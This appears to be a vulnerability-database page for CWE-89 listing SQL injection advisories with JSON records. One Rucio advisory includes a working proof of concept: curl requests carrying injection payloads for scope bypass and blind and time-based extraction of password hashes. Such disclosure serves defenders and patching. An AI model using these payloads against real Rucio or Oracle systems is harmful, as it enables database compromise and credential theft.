Common Weakness Enumeration

CWE-89

Allowed

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

27482 vulnerabilities reference this CWE, most recent first.

GHSA-VJJF-X2FH-7RQJ

Vulnerability from github – Published: 2024-09-04 06:30 – Updated: 2024-09-04 18:30
VLAI
Details

The Viral Signup WordPress plugin through 2.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-6926"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-04T06:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "The Viral Signup  WordPress plugin through 2.1 does not properly sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection",
  "id": "GHSA-vjjf-x2fh-7rqj",
  "modified": "2024-09-04T18:30:57Z",
  "published": "2024-09-04T06:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6926"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/9ce96ce5-fcf0-4d7a-b562-f63ea3418d93"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VJMQ-6C5P-F7RQ

Vulnerability from github – Published: 2023-12-14 15:30 – Updated: 2023-12-18 21:30
VLAI
Details

Semcms v4.8 was discovered to contain a SQL injection vulnerability via the AID parameter at SEMCMS_Function.php.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-50563"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-14T15:15:10Z",
    "severity": "CRITICAL"
  },
  "details": "Semcms v4.8 was discovered to contain a SQL injection vulnerability via the AID parameter at SEMCMS_Function.php.",
  "id": "GHSA-vjmq-6c5p-f7rq",
  "modified": "2023-12-18T21:30:24Z",
  "published": "2023-12-14T15:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50563"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SecBridge/Cms_Vuls_test/blob/main/Semcms/Semcms_Sql_Inject.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VJMR-6PMM-RPRF

Vulnerability from github – Published: 2022-07-23 00:00 – Updated: 2022-08-06 09:37
VLAI
Summary
Dataease v1.11.1 SQL Injection via parameter dataSourceId
Details

Dataease v1.11.1 was discovered to contain a SQL injection vulnerability via the parameter dataSourceId. Version 1.11.2 contains a fix.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.dataease:dataease-plugin-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.11.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-34115"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-08-06T09:37:44Z",
    "nvd_published_at": "2022-07-22T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Dataease v1.11.1 was discovered to contain a SQL injection vulnerability via the parameter `dataSourceId`. Version 1.11.2 contains a fix.",
  "id": "GHSA-vjmr-6pmm-rprf",
  "modified": "2022-08-06T09:37:44Z",
  "published": "2022-07-23T00:00:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34115"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dataease/dataease/issues/2428"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dataease/dataease"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dataease/dataease/releases/tag/v1.11.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dataease v1.11.1 SQL Injection via parameter dataSourceId"
}

GHSA-VJP3-HF4X-6MQC

Vulnerability from github – Published: 2023-05-17 21:30 – Updated: 2023-05-17 21:30
VLAI
Details

A vulnerability was found in code-projects Bus Dispatch and Information System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file view_branch.php. The manipulation of the argument branchid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-229280.

Severity
6.3 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2023-2774"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-17T20:15:10Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in code-projects Bus Dispatch and Information System 1.0 and classified as critical. Affected by this issue is some unknown functionality of the file view_branch.php. The manipulation of the argument branchid leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-229280.",
  "id": "GHSA-vjp3-hf4x-6mqc",
  "modified": "2023-05-17T21:30:22Z",
  "published": "2023-05-17T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2774"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mrwwrrhh/Bus_Dispatch_and_Information_System/blob/main/Bus%20Dispatch%20and%20Information%20System%20in%20view_branch%20%20has%20Sql%20injection%20vulnerabilities.pdf"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.229280"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.229280"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VJPJ-JG53-CCQ8

Vulnerability from github – Published: 2022-05-17 00:40 – Updated: 2022-05-17 00:40
VLAI
Details

SQL injection vulnerability in index.php in ProQuiz 1.0 allows remote attackers to execute arbitrary SQL commands via the password parameter, a different vector than CVE-2008-6312.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-6327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-02-27T11:30:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in index.php in ProQuiz 1.0 allows remote attackers to execute arbitrary SQL commands via the password parameter, a different vector than CVE-2008-6312.",
  "id": "GHSA-vjpj-jg53-ccq8",
  "modified": "2022-05-17T00:40:15Z",
  "published": "2022-05-17T00:40:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6327"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47196"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/49020"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/7397"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VJPM-5GFP-CGF2

Vulnerability from github – Published: 2022-05-17 00:39 – Updated: 2022-05-17 00:39
VLAI
Details

SQL injection vulnerability in forum.asp in GO4I.NET ASP Forum 1.0 allows remote attackers to execute arbitrary SQL commands via the iFor parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-6527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-03-25T18:30:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in forum.asp in GO4I.NET ASP Forum 1.0 allows remote attackers to execute arbitrary SQL commands via the iFor parameter.",
  "id": "GHSA-vjpm-5gfp-cgf2",
  "modified": "2022-05-17T00:39:08Z",
  "published": "2022-05-17T00:39:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6527"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46514"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/6930"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/32066"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-VJQ9-RQQQ-VRGQ

Vulnerability from github – Published: 2025-04-29 18:30 – Updated: 2025-04-29 18:30
VLAI
Details

A vulnerability was found in PHPGurukul Student Record System 3.20. It has been classified as critical. Affected is an unknown function of the file /change-password.php. The manipulation of the argument currentpassword leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-4073"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-74",
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-29T17:15:41Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in PHPGurukul Student Record System 3.20. It has been classified as critical. Affected is an unknown function of the file /change-password.php. The manipulation of the argument currentpassword leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-vjq9-rqqq-vrgq",
  "modified": "2025-04-29T18:30:59Z",
  "published": "2025-04-29T18:30:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4073"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bleakTS/myCVE/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://phpgurukul.com"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.306510"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.306510"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.559947"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-VJR5-C9QV-HGM3

Vulnerability from github – Published: 2026-05-06 16:42 – Updated: 2026-06-30 16:42
VLAI
Summary
Rucio has SQL Injection in FilterEngine Oracle JSON Path via DID Search API
Details

Summary

A SQL injection vulnerability in the Oracle path of FilterEngine.create_sqla_query allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (GET /dids/<scope>/dids/search). Attacker-controlled filter keys and values are interpolated directly into sqlalchemy.text via Python str.format, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration json_meta with Oracle database backends.

Details

The vulnerability exists in lib/rucio/core/did_meta_plugins/filter_engine.py within the create_sqla_query() method. When the database dialect is Oracle, filter expressions for JSON metadata columns are constructed using text() with Python string formatting:

filter_engine.py:552 (string equality — default branch):

expression = text("json_exists({},'$?(@.{} {} \"{}\")')".format(
    json_column.key, key, ORACLE_OP_MAP[oper], value))

filter_engine.py:548 (boolean branch):

expression = text("json_exists({},'$?(@.{}.boolean() {} \"{}\")')".format(
    json_column.key, key, ORACLE_OP_MAP[oper], value))

filter_engine.py:550 (numeric branch — value unquoted):

expression = text("json_exists({},'$?(@.{} {} {})')".format(
    json_column.key, key, ORACLE_OP_MAP[oper], value))

filter_engine.py:542 (wildcard/LIKE branch):

expression = text("json_exists({},'$?(@.{} like \"{}\")')".format(
    json_column.key, key, value.replace('*', '%')))

Both key and value are attacker-controlled strings derived from HTTP query parameters. The text() function creates a raw SQL fragment — it does not escape or parameterize its contents.

Why no existing defense blocks this

The complete data flow from HTTP request to SQL execution passes through 7 layers with no effective sanitization:

  1. HTTP input (dids.py:265-274): Filter keys and values are accepted from query parameters via ast.literal_eval() (which accepts arbitrary Python string literals) or directly from individual query argument names/values.

  2. Plugin routing (did_meta_plugins/__init__.py:227-248): Each filter key is checked via manages_key(). For keys that are NOT columns of the DataIdentifier model (e.g., custom metadata keys like custom_key), did_column_meta.manages_key() returns False, and the request falls through to json_meta.manages_key(), which returns True for any key on Oracle ≥12 (json_meta.py:234 → json_implemented() → True).

  3. FilterEngine initialization (filter_engine.py:260): The json_meta plugin instantiates FilterEngine with strict_coerce=False (json_meta.py:178). In _coerce_filter_word_to_model_attribute() (line 116), when the key is not an attribute of models.DidMeta and strict=False, the raw string is returned without validation.

  4. Value typecasting (filter_engine.py:275-297): _try_typecast_string() attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged as strings.

  5. Sanity checks (filter_engine.py:149-190): _sanity_check_translated_filters() only validates did_type, name, length, wildcard operators, created_at format, and duplicates. It does not validate arbitrary key names or values for SQL-unsafe characters.

  6. SQL construction (filter_engine.py:536-554): On Oracle, the unsanitized key and value strings are interpolated directly into text() via .format().

  7. SQL execution (json_meta.py:199,212): The resulting Select statement containing the injected text() clause is executed via session.execute(stmt).

Note on the non-Oracle path

The non-Oracle branch of create_sqla_query() (lines 555-579) uses SQLAlchemy's json_column[key].as_string() accessor, which compiles the key as a bind parameter (%(meta_1)s). This path is not vulnerable. The vulnerability is specific to the Oracle dialect branch that uses text() with .format().

PoC

Prerequisites: - A Rucio instance using Oracle as the database backend - The default metadata plugin configuration (json_meta as custom plugin — this is the default) - Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

Note on injection technique: The text() fragment is inserted into a SQLAlchemy query that includes additional bind-parameter conditions (e.g., AND system.did_meta.scope = :scope_1). SQL comment (--) cannot be used to discard the trailing syntax because cx_Oracle validates that all registered bind parameters exist in the SQL text, raising ORA-01036 if they are commented out. Instead, the injection consumes the template's trailing characters (")')) by opening a dummy json_exists() call that the trailing characters close naturally, preserving all bind parameters.

The format template suffix after the injected value is exactly ")') — four characters: closing double-quote, closing predicate paren, closing path string single-quote, closing json_exists() paren. The payload opens a new json_exists(meta,'$?(@.a == "b which the suffix closes as json_exists(meta,'$?(@.a == "b")').

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Boolean-based scope bypass

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value: x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b

Generated SQL inside text():

json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")')

Full WHERE clause as compiled by SQLAlchemy:

WHERE json_exists(meta,'$?(@.custom_key == "x")') OR 1=1 OR json_exists(meta,'$?(@.a == "b")') AND system.did_meta.scope = :scope_1

Why this bypasses the scope filter: SQL operator precedence — AND binds tighter than OR. Oracle parses this as:

WHERE
  json_exists(...)                                        -- disjunct 1
  OR 1=1                                                  -- disjunct 2 (always TRUE)
  OR (json_exists(...) AND system.did_meta.scope = :scope_1)  -- disjunct 3

Because 1=1 is unconditionally true, the entire WHERE clause evaluates to TRUE for every row regardless of scope. All bind parameters (:scope_1) remain intact in the SQL — no ORA-01036.

Expected result: All rows from did_meta are returned regardless of scope.

3. Boolean-based blind injection (data extraction)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%201%20ELSE%200%20END%20FROM%20dual)%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value:

x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b

Generated SQL inside text():

json_exists(meta,'$?(@.custom_key == "x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN 1 ELSE 0 END FROM dual)=1 OR json_exists(meta,'$?(@.a == "b")')

Expected result: - If the first character of the first password hash is 'a': rows are returned (subquery returns 1, 1=1 is true, OR makes WHERE true) - Otherwise: no rows from the subquery disjunct (but the dummy json_exists AND scope disjunct may still match scoped rows — the attacker distinguishes by response row count) - Repeat for each character position and value to extract the full hash

4. Time-based blind injection (alternative extraction)

curl -s -k -o /dev/null -w "%{time_total}" \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%20(SELECT%20CASE%20WHEN%20SUBSTR((SELECT%20password%20FROM%20identities%20WHERE%20ROWNUM%3D1)%2C1%2C1)%3D%27a%27%20THEN%20DBMS_PIPE.RECEIVE_MESSAGE(%27x%27%2C5)%20ELSE%200%20END%20FROM%20dual)%3D5%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b'

URL-decoded filter value:

x")') OR (SELECT CASE WHEN SUBSTR((SELECT password FROM identities WHERE ROWNUM=1),1,1)='a' THEN DBMS_PIPE.RECEIVE_MESSAGE('x',5) ELSE 0 END FROM dual)=5 OR json_exists(meta,'$?(@.a == "b

Expected result: - If condition is true: response delayed by ~5 seconds - If condition is false: immediate response - More reliable extraction channel than boolean-based when row counts are ambiguous

5. Alternative entry via filters query parameter

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%5C%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%5C%22b%22%7D%5D'

URL-decoded: filters=[{"custom_key": "x\"') OR 1=1 OR json_exists(meta,'$?(@.a == \"b"}]

Impact

Vulnerability type: SQL Injection (CWE-89)

Who is impacted:

  • All Oracle-based Rucio deployments using the default metadata plugin configuration (json_meta).
  • Not affected are PostgreSQL/MySQL deployments using the default json_meta plugin (SQLAlchemy parameterizes the JSON path operations via bind parameters on non-Oracle dialects).

What an attacker can do:

  • Full database read access: Extract any table including identities (password hashes and salts), tokens (active authentication sessions), accounts (user enumeration), rse_settings (storage endpoint credentials), and rules (data management policies).
  • Password hash extraction: Combined with Rucio's use of single-iteration SHA-256 for password hashing (no KDF), extracted hashes can be cracked at GPU speed.
  • Authentication token theft: Active bearer tokens can be extracted and used for immediate session hijacking.
  • Data modification: Oracle PL/SQL enables INSERT/UPDATE/DELETE operations via DML within subqueries and PL/SQL blocks.
  • Potential remote code execution: Via Oracle's UTL_HTTP, DBMS_SCHEDULER, or Java stored procedures if the database user has elevated privileges.

Required attacker privileges: Any authenticated Rucio user. Authentication tokens can be obtained via any supported method (userpass, x509, OIDC, SAML, SSH, GSS). No special roles or administrative permissions are required. The GET /dids/<scope>/dids/search endpoint is available to all authenticated users.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.27.0"
            },
            {
              "fixed": "35.8.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "36.0.0"
            },
            {
              "fixed": "38.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "39.0.0"
            },
            {
              "fixed": "39.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rucio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "40.0.0"
            },
            {
              "fixed": "40.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-29080"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T16:42:49Z",
    "nvd_published_at": "2026-05-06T17:16:22Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA SQL injection vulnerability in the Oracle path of `FilterEngine.create_sqla_query` allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (`GET /dids/\u003cscope\u003e/dids/search`). Attacker-controlled filter keys and values are interpolated directly into `sqlalchemy.text` via Python `str.format`, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. The vulnerability is affecting deployments using the default metadata plugin configuration `json_meta` with Oracle database backends.\n\n---\n\n### Details\n\nThe vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_sqla_query()` method. When the database dialect is Oracle, filter expressions for JSON metadata columns are constructed using `text()` with Python string formatting:\n\n**filter_engine.py:552** (string equality \u2014 default branch):\n```python\nexpression = text(\"json_exists({},\u0027$?(@.{} {} \\\"{}\\\")\u0027)\".format(\n    json_column.key, key, ORACLE_OP_MAP[oper], value))\n```\n\n**filter_engine.py:548** (boolean branch):\n```python\nexpression = text(\"json_exists({},\u0027$?(@.{}.boolean() {} \\\"{}\\\")\u0027)\".format(\n    json_column.key, key, ORACLE_OP_MAP[oper], value))\n```\n\n**filter_engine.py:550** (numeric branch \u2014 value unquoted):\n```python\nexpression = text(\"json_exists({},\u0027$?(@.{} {} {})\u0027)\".format(\n    json_column.key, key, ORACLE_OP_MAP[oper], value))\n```\n\n**filter_engine.py:542** (wildcard/LIKE branch):\n```python\nexpression = text(\"json_exists({},\u0027$?(@.{} like \\\"{}\\\")\u0027)\".format(\n    json_column.key, key, value.replace(\u0027*\u0027, \u0027%\u0027)))\n```\n\nBoth `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The `text()` function creates a raw SQL fragment \u2014 it does **not** escape or parameterize its contents.\n\n#### Why no existing defense blocks this\n\nThe complete data flow from HTTP request to SQL execution passes through 7 layers with no effective sanitization:\n\n1. **HTTP input** (`dids.py:265-274`): Filter keys and values are accepted from query parameters via `ast.literal_eval()` (which accepts arbitrary Python string literals) or directly from individual query argument names/values.\n\n2. **Plugin routing** (`did_meta_plugins/__init__.py:227-248`): Each filter key is checked via `manages_key()`. For keys that are NOT columns of the `DataIdentifier` model (e.g., custom metadata keys like `custom_key`), `did_column_meta.manages_key()` returns `False`, and the request falls through to `json_meta.manages_key()`, which returns `True` for any key on Oracle \u226512 (`json_meta.py:234` \u2192 `json_implemented()` \u2192 `True`).\n\n3. **FilterEngine initialization** (`filter_engine.py:260`): The `json_meta` plugin instantiates `FilterEngine` with `strict_coerce=False` (`json_meta.py:178`). In `_coerce_filter_word_to_model_attribute()` (line 116), when the key is not an attribute of `models.DidMeta` and `strict=False`, the raw string is returned without validation.\n\n4. **Value typecasting** (`filter_engine.py:275-297`): `_try_typecast_string()` attempts to parse the value as a boolean, datetime, or number. SQL injection strings fail all these parsers and are returned unchanged as strings.\n\n5. **Sanity checks** (`filter_engine.py:149-190`): `_sanity_check_translated_filters()` only validates `did_type`, `name`, `length`, wildcard operators, `created_at` format, and duplicates. It does **not** validate arbitrary key names or values for SQL-unsafe characters.\n\n6. **SQL construction** (`filter_engine.py:536-554`): On Oracle, the unsanitized key and value strings are interpolated directly into `text()` via `.format()`.\n\n7. **SQL execution** (`json_meta.py:199,212`): The resulting `Select` statement containing the injected `text()` clause is executed via `session.execute(stmt)`.\n\n#### Note on the non-Oracle path\n\nThe non-Oracle branch of `create_sqla_query()` (lines 555-579) uses SQLAlchemy\u0027s `json_column[key].as_string()` accessor, which compiles the key as a bind parameter (`%(meta_1)s`). This path is **not vulnerable**. The vulnerability is specific to the Oracle dialect branch that uses `text()` with `.format()`.\n\n---\n\n### PoC\n\n**Prerequisites:**\n- A Rucio instance using Oracle as the database backend\n- The default metadata plugin configuration (`json_meta` as custom plugin \u2014 this is the default)\n- Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)\n\n**Note on injection technique:** The `text()` fragment is inserted into a SQLAlchemy query that includes additional bind-parameter conditions (e.g., `AND system.did_meta.scope = :scope_1`). SQL comment (`--`) cannot be used to discard the trailing syntax because cx_Oracle validates that all registered bind parameters exist in the SQL text, raising `ORA-01036` if they are commented out. Instead, the injection consumes the template\u0027s trailing characters (`\")\u0027)`) by opening a dummy `json_exists()` call that the trailing characters close naturally, preserving all bind parameters.\n\nThe format template suffix after the injected value is exactly `\")\u0027)` \u2014 four characters: closing double-quote, closing predicate paren, closing path string single-quote, closing `json_exists()` paren. The payload opens a new `json_exists(meta,\u0027$?(@.a == \"b` which the suffix closes as `json_exists(meta,\u0027$?(@.a == \"b\")\u0027)`.\n\n#### 1. Obtain an authentication token\n\n```bash\nTOKEN=$(curl -s -k \\\n  -H \u0027X-Rucio-Account: testuser\u0027 \\\n  -H \u0027X-Rucio-Username: testuser\u0027 \\\n  -H \u0027X-Rucio-Password: testpass\u0027 \\\n  \u0027https://rucio.example.org/auth/userpass\u0027 \\\n  -D - 2\u003e/dev/null | grep -i \u0027x-rucio-auth-token\u0027 | awk \u0027{print $2}\u0027 | tr -d \u0027\\r\u0027)\n```\n\n#### 2. Boolean-based scope bypass\n\n```bash\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  \u0027https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x%22%27)%20OR%201%3D1%20OR%20json_exists(meta%2C%27%24%3F(%40.a%20%3D%3D%20%22b\u0027\n```\n\n**URL-decoded filter value:** `x\")\u0027) OR 1=1 OR json_exists(meta,\u0027$?(@.a == \"b`\n\n**Generated SQL inside `text()`:**\n```sql\njson_exists(meta,\u0027$?(@.custom_key == \"x\")\u0027) OR 1=1 OR json_exists(meta,\u0027$?(@.a == \"b\")\u0027)\n```\n\n**Full WHERE clause as compiled by SQLAlchemy:**\n```sql\nWHERE json_exists(meta,\u0027$?(@.custom_key == \"x\")\u0027) OR 1=1 OR json_exists(meta,\u0027$?(@.a == \"b\")\u0027) AND system.did_meta.scope = :scope_1\n```\n\n**Why this bypasses the scope filter:** SQL operator precedence \u2014 `AND` binds tighter than `OR`. Oracle parses this as:\n```sql\nWHERE\n  json_exists(...)                                        -- disjunct 1\n  OR 1=1                                                  -- disjunct 2 (always TRUE)\n  OR (json_exists(...) AND system.did_meta.scope = :scope_1)  -- disjunct 3\n```\n\nBecause `1=1` is unconditionally true, the entire WHERE clause evaluates to TRUE for every row regardless of scope. All bind parameters (`:scope_1`) remain intact in the SQL \u2014 no `ORA-01036`.\n\n**Expected result:** All rows from `did_meta` are returned regardless of scope.\n\n#### 3. Boolean-based blind injection (data extraction)\n\n```bash\ncurl -s -k \\\n  -H \"X-Rucio-Auth-Token: $TOKEN\" \\\n  -H \"Accept: application/x-json-stream\" \\\n  